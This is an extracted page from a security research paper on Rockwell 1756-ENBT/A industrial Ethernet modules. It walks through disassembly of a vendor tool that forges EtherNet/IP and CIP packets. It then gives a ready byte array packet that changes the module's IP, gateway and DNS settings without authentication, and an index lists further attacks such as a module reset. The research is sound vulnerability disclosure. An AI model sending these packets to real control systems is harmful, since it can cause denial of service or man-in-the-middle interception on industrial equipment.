Protocol - Reversemode.com

Recommendations

Info

This tool is slightly different, it is used to configure the 1756-ENBT/A module( or any other similar) in a more direct way, without using drivers. By forging its own encapsulated CIP packets, this Rockwell tool can enable/disable some of the functionalities the <strong>com</strong>mon TCP/IP CIP object implements. BootpServer.exe ! sub_40934C .text:0040946E loc_40946E: ; CODE XREF: sub_40934C+C3 .text:00409477 mov [ebp+var_70], ecx .text:0040947A mov edx, [ebp+var_70] ; Crafting ENIP header .text:0040947D mov word ptr [edx], 65h ; RegisterSession Command .text:00409482 mov eax, [ebp+var_54] *…+ .text:004094D5 mov eax, [ebp+var_4C] .text:004094D8 mov word ptr [eax], 1 ;<strong>Protocol</strong> Version .text:004094DD mov ecx, [ebp+var_4C] *…+ //Once the valid Session ID has been obtained, it uses ‘Send RR Data’ to issue CIP requests .text:0040959F mov edx, [ebp+var_70] ; Crafting ENIP header .text:004095A2 mov word ptr [edx], 6Fh ; Send RR Data Command .text:004095A7 mov eax, [ebp+var_38] .text:004095AA and eax, 0FFFFh *…+ .text:0040965B mov word ptr [edx], 0B2h ; Unconnected Send .text:00409660 mov eax, [ebp+var_88] .text:00409666 mov word ptr [eax+2], 8 *…+ .text:004096A6 mov edx, [ebp+var_20] .text:004096A9 mov byte ptr [edx+1], 0F5h ; Class 0xF5 - TCP/IP CIP object .text:004096AD mov eax, [ebp+var_20] .text:004096B0 mov byte ptr [eax+2], 24h ; Instance Segment .text:004096B4 mov ecx, [ebp+var_20] .text:004096B7 mov byte ptr [ecx+3], 1 .text:004096BB mov edx, [ebp+var_20] .text:004096BE mov byte ptr [edx+4], 30h ; Attribute segment .text:004096C2 mov eax, [ebp+var_20] .text:004096C5 mov byte ptr [eax+5], 3 ; Attribute (Configuration Control) If we continue analyzing the routine sub_40934C we will see how different packets to enable/disable BOOTP/DHCP capabilities are forged. We have also seen how this tool initializes the connection by requesting a Session ID just like the drivers do. 10
Attack #1 Change the IP We can ‘extend’ the capabilities of this software. The attribute 0x5 (Interface Configuration) of the TCP/IP CIP object allows us to set the following fields - IP Address - Network Mask - Gateway Address - Name Server - Name Server 2 - Domain Name Thus, we just need a packet to modify this interface. This may lead to some immediate scenarios such as DoS due to invalid data or MITM attacks. // Service (0x10 Set Attribute Single) // Class 0xF5 – TCP/Ip Object // Attribute: 0x5 Interface Control unsigned char packetSetIP[]= "\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x24\x00" "\x10\x03\x20\xf5\x24\x01\x30\x05" "\x2c\x01\xA8\xC0" //Ip "\x00\xFF\xFF\xFF" //Network "\x01\x01\xA8\xC0" //GW "\x00\x00\x00\x00" //NS1 "\x00\x00\x00\x00" //NS2 "\x06\x00p0wned"; //Domain name This ‘attack’ (-functionality turned evil-) works even if the controller has been ‘secured’ by the Logix CPU security tool. 11
Page 1 and 2: Ruben Santamarta - www.reversemode.
Page 3 and 4: 1. INTRODUCTION As part of the Proj
Page 5 and 6: 3. Technical details 1756-ENBT/A br
Page 7 and 8: From now on, our work consist in di
Page 9: Set password (Class 0x8E - Service
Page 13 and 14: Attack #5 Reset 1756-ENBT module Im
Page 15 and 16: 3.3 Reverse engineering the firmwar
Page 17 and 18: ROM:001196C4 bl DB_Init ROM:001196C
Page 19 and 20: ROM:00142BD4 loc_142BD4: # CODE XRE
Page 21 and 22: APPENDIX A. - REFERENCES Leveraging
Page 23 and 24: unsigned char packetResetEth[]= "\x

Protocol - Reversemode.com

You also want an ePaper? Increase the reach of your titles

Delete template?

Save as template?